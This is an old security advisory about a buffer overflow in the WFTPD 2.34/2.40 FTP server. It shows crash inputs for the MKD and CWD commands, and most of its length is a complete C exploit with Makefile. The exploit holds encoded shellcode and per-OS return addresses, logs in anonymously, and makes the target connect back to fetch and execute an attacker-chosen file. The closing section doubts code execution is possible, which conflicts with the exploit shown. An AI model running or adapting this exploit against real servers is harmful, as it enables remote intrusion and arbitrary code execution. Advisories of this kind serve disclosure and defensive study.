COMMAND

    WFTPD

SYSTEMS AFFECTED

    WFTPD v2.34, v2.40 FTPServer

PROBLEM

    Luciano Martins found in the WFTPD v2.34,v2.40 Server and  earlier
    a vulnerability to remotely exploitable buffer overflow.  This can
    result in a denial of service and at worst in arbitrary code being
    executed on the system.

    The vulnerabilities are the conjunction of two large commands  the
    MKD and CWD  if they are passed an argument a string exact of  255
    characters.  If this 2 large commands are passed in order  program
    crash.  Tested in: Windows 98 / Windows Nt.  Example.

    First command
    =============

        MKD
        aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
        aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
        aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
        aaaaaaaaaaaaaaaaaaaaaaaaaaa

    Second command
    ==============

        CWD
        aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
        aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
        aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
        aaaaaaaaaaaaaaaaaaaaaaaaaaa

    Crash.....Overflow.

    Below is a  workeable WFTPD 2.34  exploit for WIN  NT 4.0 [SP3-4],
    Windows 95, Windows 98.   In order to make  it work, the  attacker
    must have access (eg: the exploit works with anonymous access  but
    it's easy  to change,  look at  the source  code).  An interesting
    point is that if you don't have an account on the server and  also
    tries to run the exploit  the server stops answering requests  and
    makes a GPF when the administrator of the server exits WFTPD.

    Makefile:

    #
    # $Id: Makefile,v 1.2 1999/11/04 19:20:59 fgsch Exp $
    #
    # Descrition: Exploit program for the WFTPD 2.34 buffer overflow in MKD
    #
    # Author: Alberto Solino (asolino@core-sdi.com)
    #
    # Vulnerable Systems:
    #  Microsoft Windows NT 4.0 Service Pack 3
    #  Microsoft Windows NT 4.0 Service Pack 4
    #  Microsoft Windows 95
    #  Microsoft Windows 98
    #
    # Copyright (c) 1998,1999 CORE SDI S.A., Buenos Aires, Argentina.
    # All rights reserved.
    #
    # THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
    # ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
    # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
    # FROM THE USE OR MISUSE OF THIS SOFTWARE.
    #
    
    CC	= cc
    CFLAGS	= -O2 -Wall
    LDFLAGS	= -s
    
    OBJS	= wftpdexp.o
    TARGET	= wftpdexp
    
    all:	$(TARGET)
    
    .c.o:
	    $(CC) $(CFLAGS) -c $<
    
    $(TARGET): $(OBJS)
	    $(CC) -o $@ $(OBJS) $(LDFLAGS)
    
    clean:
	    @rm -f $(OBJS) $(TARGET)

    Exploit (wftpdexp):

    /*
     * $Id: wftpdexp.c,v 1.8 1999/11/04 19:21:00 fgsch Exp $
     *
     * Descrition: Exploit program for the WFTPD 2.34 buffer overflow in MKD
     *
     * Author: Alberto Solino (asolino@core-sdi.com)
     *
     * Vulnerable Systems:
     *  Microsoft Windows NT 4.0 Service Pack 3
     *  Microsoft Windows NT 4.0 Service Pack 4
     *  Microsoft Windows 95
     *  Microsoft Windows 98
     *
     * Copyright (c) 1998,1999 CORE SDI S.A., Buenos Aires, Argentina.
     * All rights reserved.
     *
     * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
     * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
     * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
     * FROM THE USE OR MISUSE OF THIS SOFTWARE.
     *
     */
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <signal.h>
    #include <setjmp.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    
    #define	BUFLEN				8192
    #define	JUMP_TO_CALL_EAX_SP3		0x77fa5ac7
    #define	JUMP_TO_CALL_EAX_SP4		0x77f7635d
    #define	JUMP_TO_CALL_EAX_98		0xbff7ff7b
    #define	JUMP_TO_CALL_EAX_95		0x7f711130
    #define	JUMP_TO_BEGIN			0xe953feffff
    
    #define	IP_OFFSET			261
    #define	PORT_OFFSET			259
    #define	XOR_MASK			0x98
    #define	DEFAULT_PORT			0x1515
    
    jmp_buf jmpbuf;
    int ssock;
    int handler_sigusr1();
    int handler_sigchld();
    int handler_sigterm();
    
    char shell_code[]="MKD "
    "\xeb\xe\x5e\x56\x5f\xac\x3c\xa0\x74\xb\x90\x34\x98\xaa\xeb\xf5\xe8\xed\xff"
    "\xff\xff"
    "\x70\x98\x98\x98\x98\x8\xc6\x1b\x76\x9d\x19\x76\x98\x99\x98\x98\x23\x98\x9a"
    "\x98\x98\x99\x6b\x27\x17\x9a\x98\x98\x99\x6f\x19\x74\x98\x9a\x98\x98\xcf\xce"
    "\xa9\x51\xfe\xd9\xfe\xd9\xc9\xcb\xcb\x22\xc8\x20\xdd\x98\x67\x8a\x11\x5e\xc3"
    "\xa8\x58\x4f\xdb\x1c\x58\xed\x60\x4f\x1c\x58\xec\x94\xcb\xce\x22\xd4\x20\xdd"
    "\x98\x67\x8a\x33\x73\x7f\xc1\xdb\x7a\x4e\xc6\xc7\xa9\x4a\xca\xda\xca\xda\xca"
    "\x67\xcf\x80\xc8\xf2\x88\x22\x70\x99\x98\x98\x99\x6a\xca\xc8\x67\xcf\x84\xa9"
    "\x58\xfe\xd0\xc8\xfe\xd8\xc8\x67\xcf\x88\xce\x11\x5e\xc1\xc0\xc8\xc9\xa9\x4a"
    "\xca\xfe\xda\xfe\x59\x7a\x9b\xfe\x1b\x5a\x9c\xca\x22\x1a\x9a\x98\x98\x99\x52"
    "\xca\xc8\x67\xcf\xbc\xa9\x4a\xda\xda\xc1\xc0\xc9\xc8\xca\x22\x1a\x9a\x98\x98"
    "\x99\x52\xca\x67\x8f\x11\x5b\xc0\xc8\xa9\x4a\xca\xfe\xd2\xca\xce\xc8\x67\xcf"
    "\xbc\x1d\x58\xec\x90\xc8\xce\xcb\x67\xcf\x9c\x73\x7f\xcb\x67\xcf\x90\xc1\xc1"
    "\xa9\x4a\xda\xca\x22\x1a\x9a\x98\x98\x99\x52\xca\x67\xcf\x94\xa9\x4a\xca\x67"
    "\xcf\x8c\x98\x98\x9a\x98\x8d\x8d\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
    "\x98\x98\x98\x98\x98\x98\x98\x98\x98\xd3\xdd\xca\xd6\xdd\xd4\xab\xaa\xb6\xdc"
    "\xd4\xd4\x98\xc7\xf4\xfb\xea\xfd\xf9\xec\x98\xc7\xf4\xef\xea\xf1\xec\xfd\x98"
    "\xc7\xf4\xfb\xf4\xf7\xeb\xfd\x98\xcf\xf1\xf6\xdd\xe0\xfd\xfb\x98\xdf\xf4\xf7"
    "\xfa\xf9\xf4\xd9\xf4\xf4\xf7\xfb\x98\xdd\xe0\xf1\xec\xc8\xea\xf7\xfb\xfd\xeb"
    "\xeb\x98\x98\xcf\xcb\xd7\xdb\xd3\xab\xaa\xb6\xdc\xd4\xd4\x98\xeb\xf7\xfb\xf3"
    "\xfd\xec\x98\xfb\xf7\xf6\xf6\xfd\xfb\xec\x98\xeb\xfd\xf6\xfc\x98\xea\xfd\xfb"
    "\xee\x98\xcf\xcb\xd9\xcb\xec\xf9\xea\xec\xed\xe8\x98\xcf\xcb\xd9\xdb\xf4\xfd"
    "\xf9\xf6\xed\xe8\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
    "\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
    "\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
    "\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
    "\x98\x98\x98\xa0\n\n";
    
    void readSock(int sock)
    {
	    char myBuff[256];
	    char c;
	    char *cp=myBuff;
    
	    do {
		    recv(sock,&c, 1, 0);
		    fprintf(stdout,"%c",c);
		    if ( cp < &myBuff[sizeof(myBuff)-1] )
			    *cp++ = c;
		    if ( c == '\n' ) {
			    if ( myBuff[3] != '-' )
				    break;
			    else
			         cp = myBuff;
		    }
	    } while(1);
    }
    
    void usage(char *prg)
    {
	    printf("wftpd v.2.34 exploit (c) 1999 Core SDI S.A.\n");
	    printf("Target OS: WinNT 4.0 SP5/SP4/SP3 Win95/98\n\n");
	    printf("Usage mode: %s -s os <hostname> <filetosend> [srvport]\n\n",
	        prg);
	    printf("hostname\t\t: target host\n");
	    printf("filetosend\t\t: filename to send and execute\n");
	    printf(
	        "srvport\t\t\t: port number to wait connection from target host\n");
	    printf("\t\t\t  machine (optional).\n");
	    printf("-s os\t\t\t: set target operative system\n");
	    printf("\t\t\t\tsp4 for WinNT 4.0 SP4 (English)\n");
	    printf("\t\t\t\tsp3 for WinNT 4.0 SP3 (English)\n\n");
	    printf("\t\t\t\tw95 for Windows 95 (English)\n\n");
	    printf("\t\t\t\tw98 for Windows 98 (English)\n\n");
	    exit(254);
    }
    
    int main(int argc, char **argv)
    {
	    int sock;
	    struct sockaddr_in sin;
	    int port;
	    u_long ip;
	    unsigned char d;
	    struct hostent *phe;
	    char *progname = argv[0];
	    char *hostname;
	    char *filename;
	    char localhost[100];
	    int j;
	    pid_t pid;
	    unsigned char spnum=0;
    
	    while ((j = getopt(argc, argv, "s:")) != -1)
	    switch (j) {
		    case 's':
			    if( (strcasecmp(optarg, "sp4")==0) ) {
				    spnum=4;
			    }
			    else if( (strcasecmp(optarg, "sp3")==0) ) {
				    spnum=3;
			    }
			    else if( (strcasecmp(optarg, "w95")==0) ) {
				    spnum=95;
			    }
			    else if( (strcasecmp(optarg, "w98")==0) ) {
				    spnum=98;
			    }
			    else {
				    printf("\ninvalid target os!\n\n");
				    usage(progname);
			    }
			    break;
		    default:
			    usage(progname);
	    }
    
	    argc -= optind;
	    argv += optind;
    
	    if (argc < 2 || spnum == 0) {
		    usage(progname);
		    exit(254);
	    } else {
		    hostname = argv[0];
		    filename = argv[1];
		    if ( strlen(filename) > 12 ) {
			    fprintf(stderr,"Filename must be <= 12 characteres\n");
			    exit(254);
		    }
		    if ( (argc - 2) > 0 )
			    port = atoi(argv[2]);
		    else
			    port = DEFAULT_PORT;
	    }
    
	    printf("wftpd exploit (c) 1999 Core SDI S.A.\n\n");
    
	    switch ( spnum ) {
    
		    case 3:
			    shell_code[271] = ((JUMP_TO_CALL_EAX_SP3 >> 24) & 0xff);
			    shell_code[270] = ((JUMP_TO_CALL_EAX_SP3 >> 16) & 0xff);
			    shell_code[269] = ((JUMP_TO_CALL_EAX_SP3 >> 8 ) & 0xff);
			    shell_code[268] = (JUMP_TO_CALL_EAX_SP3 & 0xff);
    
		    break;
    
		    case 4:
			    shell_code[271] = ((JUMP_TO_CALL_EAX_SP4 >> 24) & 0xff);
			    shell_code[270] = ((JUMP_TO_CALL_EAX_SP4 >> 16) & 0xff);
			    shell_code[269] = ((JUMP_TO_CALL_EAX_SP4 >> 8 ) & 0xff);
			    shell_code[268] = (JUMP_TO_CALL_EAX_SP4 & 0xff);
    
		    break;
    
		    case 98:
			    shell_code[271] = ((JUMP_TO_CALL_EAX_98 >> 24) & 0xff);
			    shell_code[270] = ((JUMP_TO_CALL_EAX_98 >> 16) & 0xff);
			    shell_code[269] = ((JUMP_TO_CALL_EAX_98 >> 8 ) & 0xff);
			    shell_code[268] = (JUMP_TO_CALL_EAX_98 & 0xff);
		    break;
    
		    case 95:
			    shell_code[271] = ((JUMP_TO_CALL_EAX_95 >> 24) & 0xff);
			    shell_code[270] = ((JUMP_TO_CALL_EAX_95 >> 16) & 0xff);
			    shell_code[269] = ((JUMP_TO_CALL_EAX_95 >> 8 ) & 0xff);
			    shell_code[268] = (JUMP_TO_CALL_EAX_95 & 0xff);
    
		    break;
	    }
    
	    shell_code[428] = ((JUMP_TO_BEGIN >> 32) & 0xff);
	    shell_code[429] = ((JUMP_TO_BEGIN >> 24) & 0xff);
	    shell_code[430] = ((JUMP_TO_BEGIN >> 16) & 0xff);
	    shell_code[431] = ((JUMP_TO_BEGIN >> 8) & 0xff);
	    shell_code[432] = ((JUMP_TO_BEGIN) & 0xff);
    
	    if ( gethostname(localhost,sizeof(localhost)) < 0) {
		    perror("gethostname(3)");
		    exit(254);
	    }
    
	    if ( (phe = gethostbyname(localhost)) ) {
		    bcopy( phe->h_addr, (char *)&ip, sizeof(u_long) );
	    } else if ( (ip = inet_addr(hostname)) == INADDR_NONE ) {
		    fprintf(stderr,"can't get %s host entry\n", hostname);
		    exit(254);
	    }
    
	    ip=ntohl(ip);
    
	    d = (char) (((port&0xff00) >> 8) ^ XOR_MASK);
	    if ( (d == 0x20 ) || (d == 00) || (d == 0xa) || (d == 0x2f) ||
			     (d == 0xde) || (d == XOR_MASK) || (d == 0xce) ) {
		    fprintf(stderr,
		        "Couldn't use %d xored with current mask, change it!\n",
		        port);
		    exit(254);
	    } else
		    shell_code[PORT_OFFSET] = d;
    
	    d = (char) ((port&0xff) ^ XOR_MASK);
	    if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
		    fprintf(stderr,
		        "Couldn't use %d xored with current mask, change it!\n",
		        port);
		    exit(254);
	    } else
		    shell_code[PORT_OFFSET+1] = d;
    
	    d = (char) (((ip&0xff000000) >> 24) ^ XOR_MASK);
	    if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
		    fprintf(stderr,
		        "Couldn't use current client ip address xored, "
		        "change it!\n");
		    exit(254);
	    } else
		    shell_code[IP_OFFSET] = d;
    
	    d = (char) (((ip&0xff0000) >> 16) ^ XOR_MASK);
	    if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
		    fprintf(stderr,
		        "Couldn't use current client ip address xored, "
		        "change it!\n");
		    exit(254);
	    } else
		    shell_code[IP_OFFSET+1] = d;
    
    
	    d = (char) (((ip&0xff00) >> 8) ^ XOR_MASK);
	    if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
		    fprintf(stderr,
		        "Couldn't use current client ip address xored, "
		        "change it!\n");
		    exit(254);
	    } else
		    shell_code[IP_OFFSET+2] = d;
    
	    d = (char) ((ip&0xff) ^ XOR_MASK);
	    if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
		    fprintf(stderr,
		        "Couldn't use current client ip address xored, "
		        "change it!\n");
		    exit(254);
	    } else
		    shell_code[IP_OFFSET+3] = d;
    
	    if ( (pid = fork()) < 0) {
		    /* fork error */
		    perror("fork(2)");
		    exit(254);
	    } else if (pid == 0) {
		    /* Child */
		    struct sockaddr_in ssin;
		    FILE *fp;
		    char buffer[BUFLEN];
		    int cnt;
		    int alen=0;
    
		    signal(SIGTERM, (void *) &handler_sigterm);
		    if ( (fp=fopen(filename,"rb")) == NULL ) {
			    perror("fopen(3)");
			    close(ssock);
			    exit(254);
		    }
		    printf("Creatin' socket... ");
    
		    if ( (sock=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
			    perror("socket(2)");
			    exit(254);
		    }
    
		    printf("OK\n");
    
		    bzero(&sin,sizeof(sin));
		    sin.sin_family = AF_INET;
		    sin.sin_port = htons(port);
		    sin.sin_addr.s_addr = INADDR_ANY;
    
		    printf("Binding socket... ");
    
		    if ( bind(sock,(struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
			    perror("bind(2)");
			    exit(254);
		    }
    
		    printf("OK\n");
    
		    printf("Listening socket... ");
		    if ( listen(sock,5) < 0 ) {
			    perror("listen(2)");
			    exit(254);
		    }
    
		    printf("OK\n");
    
		    kill(getppid(),SIGUSR1);
    
		    printf("Ready to accept on port %d\n",port);
		    fflush(stdout);
		    while (1) {
			    ssock = accept(sock, (struct sockaddr *)&ssin, &alen);
			    printf("Receiving conection...\n");
			    fflush(stdout);
			    printf("Sending %s\n",filename);
			    send(ssock,filename,strlen(filename),0);
			    while ( !feof(fp) ) {
				    cnt=fread(&buffer,1,BUFLEN,fp);
				    if ( (send(ssock,buffer,cnt,0)) != cnt) {
					    perror("send(2)");
					    close(ssock);
					    exit(254);
				    }
			    }
			    printf("Finishing connection\n");
			    fclose(fp);
			    close(ssock);
			    exit(1);
		    }
	    } else {
		    /* Parent */
		    signal(SIGCHLD, (void *) &handler_sigchld);
		    signal(SIGUSR1, (void *) &handler_sigusr1);
		    if ( setjmp(jmpbuf) == 0 )
			    pause();
    
		    if ( (sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0 ) {
			    kill(pid,SIGTERM);
			    perror("socket(2)");
			    exit(254);
		    }
    
    
		    bzero(&sin, sizeof(struct sockaddr_in));
		    sin.sin_family = AF_INET;
		    sin.sin_port = htons(21);
    
		    if ( (phe = gethostbyname(hostname)) ) {
			    bcopy( phe->h_addr, (char *)&ip, sizeof(u_long) );
		    } else if ( (ip = inet_addr(hostname)) == INADDR_NONE ) {
			    fprintf(stderr,"can't get %s host entry\n", hostname);
			    kill(pid,SIGTERM);
			    exit(254);
		    }
    
		    sin.sin_addr.s_addr = ip;
    
		    if (connect(sock,(struct sockaddr *)&sin,
		        sizeof(struct sockaddr))<0) {
			    kill(pid,SIGTERM);
			    perror("connect(2)");
			    exit(254);
		    }
    
    
		    readSock(sock);
		    fprintf(stdout,"\nLogin anonymous\n");
		    send(sock, "USER ftp\n", strlen("USER ftp\n"),0);
		    readSock(sock);
		    send(sock, "PASS blueskies\n", strlen("PASS blueskies\n"),0);
		    readSock(sock);
		    fprintf(stdout,"\nSending exploit!\n");
		    fflush(stdout);
		    send(sock, shell_code, strlen(shell_code),0);
    
		    waitpid(0,NULL,0);
		    close(sock);
		    exit(1);
    
	    }
    
	    return (0);
    }
    
    int handler_sigusr1()
    {
	    longjmp(jmpbuf,1);
    }
    
    int handler_sigchld()
    {
	    exit(254);
    }
    
    int handler_sigterm()
    {
	    close(ssock);
	    exit(254);
    }

SOLUTION

    Our initial tests suggest that it is more of a 'denial-of-service'
    nature, rather than an exploit allowing an attacker to load  their
    own code  into memory  - the  access that  generates the  fault is
    overwriting a single null byte into heap space, rather than  stack
    space.  WarFTPd team has  been working on this problem  coinciding
    as it has with their intent to release a new version, 2.41.